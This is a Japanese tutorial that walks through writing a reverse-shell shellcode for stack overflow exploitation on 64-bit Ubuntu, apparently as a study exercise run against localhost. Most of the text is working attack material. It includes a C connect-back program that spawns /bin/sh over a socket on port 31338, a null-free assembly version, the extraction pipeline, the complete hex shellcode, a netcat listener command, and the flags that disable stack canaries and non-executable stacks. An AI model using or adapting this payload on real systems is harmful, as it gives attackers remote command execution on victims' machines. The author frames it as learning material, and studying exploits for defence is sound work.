Security
セキュリティ
アセンブラ

スタックオーバーフロー攻撃という有名な脆弱性攻撃の手法を用いて、攻撃対象のPCとのコネクションを確立し、攻撃元のPCからコマンドを打つと、それが攻撃対象のPCで実行されるようにするシェルコードを作成します。

これは勉強のために書いたコードで悪用厳禁です。まあ、色々と穴の多いコードですし、絶対に足跡がつくのでやめましょう。

最近のOSでは色々と防御策がデフォルトで動いているので、そもそも動かないこともあります。今回は、ubuntu16.04(64bit)で実験をしていたのですが、防御を下げる2つ設定を行ったことで、今回作成したシェルコードが動くようになりました。

C言語で書いてみる

まずは、行いたい処理をC言語で書き下します。

connect.c
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void) {
   int sockfd;
   struct sockaddr_in host_addr;
   char *argv[] = {"/bin//sh", NULL};

   sockfd = socket(PF_INET, SOCK_STREAM, 0);

   host_addr.sin_family = AF_INET;         // ホストのバイト順序
   host_addr.sin_port = htons(31338);      // ネットワークバイト順にする(short)
   host_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 自らのIPを自動設定する

   connect(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));

   dup2(sockfd, 0);
   dup2(sockfd, 1);
   dup2(sockfd, 2);

   execve(argv[0], argv, NULL);

   return 0;
}

このプログラムは攻撃対象で実行され、攻撃元のポート31338番にTCPコネクションを確立させます。
その後、sockfd(ソケット記述子)のコピーをそれぞれ標準入力、標準出力、標準エラー出力に割り当てます。
これで攻撃元から攻撃対象に送ったコマンドが標準入力として処理され、コマンド実行によって返される標準出力、標準エラー出力が攻撃元に伝送されるようになります。
したがって、このプログラムが実行されるときは、攻撃元はポート31338番で攻撃対象からの通信を待ち受けている必要があります。この待ち受けには、以下のコマンドをターミナルで実行すればOKです。

ポート31338番で待ち受ける
$ nc -l -p 31338

今回は、攻撃元も攻撃対象も同じPCで行ったので、 host_addr.sin_addr.s_addr には 127.0.0.1(自分自身のIPアドレス) を設定しました。
最後にexecve関数でシェルを起動させます。

以下のコマンドでコンパイルをします。

コンパイル
gcc -g -o connect connect.c

アセンブラで書いてみる

実行ファイルconnectをベースにしてシェルコードを書いていきます。ここで重要なのはシェルコードの中にNULL(\x00)を入れてはならないということです。シェルコード実行時に\x00はスルーされるので、例えば

\xaa\x00\xbb

というコードは、

\xaa\xbb

と見なされ、思い描いた動作をしてくれなくなることがあります。

実際に書いたシェルコードは以下になります。上記のC言語で書いたコードをgdbを使って逐一実行しながら、この処理を行うときはレジスタがこうなってて…と色々と調べながら書きました。

connect.s
.intel_syntax noprefix
.globl _start

_start:
/* socket */
  xor rcx, rcx
  lea rdi, [rcx+0x02]
  lea rsi, [rcx+0x01]
  xor rdx, rdx
  lea rax, [rcx+0x29]
  syscall
  mov rbx, rax

/* connect(s, [2, 31338, <IP address>], 16) */
  xor rcx, rcx
  mov rdi, rbx
  push rcx
  mov r8, 0x01bbbb7f6a79ffff
  inc r8
  inc r8
  inc r8
  push r8
  mov WORD PTR[rsp+0x05], cx
  mov rsi, rsp
  lea rdx, [rcx+0x10]
  lea rax, [rcx+0x2a]
  syscall

/* dup2(sock, 0) */
  xor rcx, rcx
  mov rdi, rbx
  xor rsi, rsi
  lea rax, [rcx+0x21]
  syscall

/* dup2(sock, 1) */
  xor rcx, rcx
  mov rdi, rbx
  xor rsi, rsi
  inc rsi
  lea rax, [rcx+0x21]
  syscall

/* dup2(sock, 2) */
  xor rcx, rcx
  mov rdi, rbx
  xor rsi, rsi
  inc rsi
  inc rsi
  lea rax, [rcx+0x21]
  syscall

/* execve(argv[0], argv, NULL) */
  xor rcx, rcx
  push rcx
  mov rax, 0x68732f2f6e69622f
  push rax
  mov rdi, rsp
  xor rdx, rdx
  push rdx
  push rdi
  mov rsi, rsp
  lea rax, [rcx+0x3b]
  syscall

/* exit(0) */
  xor rcx, rcx
  xor rdi, rdi 
  lea rax, [rcx+0x3c]       
  syscall

syscallでレジスタの値に応じたシステムコールを実行します。
コードはgccを用いてコンパイルしたので、以下のサイトが参考になりました。

gccでのレジスタ

なお、raxに格納すべきシステムコール番号は私の環境(ubuntu16.04 64bit)では、"/usr/include/x86_64-linux-gnu/asm/unistd_64.h"で知り得ます。

このアセンブラのコードを以下のオプションでコンパイルし、出来上がった実行ファイルからシェルコードの部分だけを取り出します。

シェルコードの抽出
$ gcc -nostdlib connect.s
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'

こちらがシェルコードです。

出力
\x48\x31\xc9\x48\x8d\x79\x02\x48\x8d\x71\x01\x48\x31\xd2\x48\x8d\x41\x29\x0f\x05\x48\x89\xc3\x48\x31\xc9\x48\x89\xdf\x51\x49\xb8\xff\xff\x79\x6a\x7f\xbb\xbb\x01\x49\xff\xc0\x49\xff\xc0\x49\xff\xc0\x41\x50\x66\x89\x4c\x24\x05\x48\x89\xe6\x48\x8d\x51\x10\x48\x8d\x41\x2a\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x51\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x8d\x41\x3b\x0f\x05\x48\x31\xc9\x48\x31\xff\x48\x8d\x41\x3c\x0f\x05

これを脆弱性を持つ任意のプログラムで実行させることができれば、攻撃元で待ち受けているプログラムとのコネクションが確立され、攻撃元のPCから色々とコマンドを打つことで、リモートで攻撃対象のPCを操ることができます。

さいごに

なお、スタックオーバーフローを起こせる脆弱性を持つプログラムを作る際にはいくつかのコンパイルオプションが重要です。これについては、以下の記事も合わせて読むと理解が進みます。

単純なスタックバッファオーバーフロー攻撃をやってみる
gccのコマンド

"-fno-stack-protector"で、スタック上のカナリア値の変更を検知してプログラムを終了させる機能を無効化します。
"-z execstack"で、スタック上にあるコードの実行を有効にします。

gcc -fno-stack-protector -z execstack hoge.c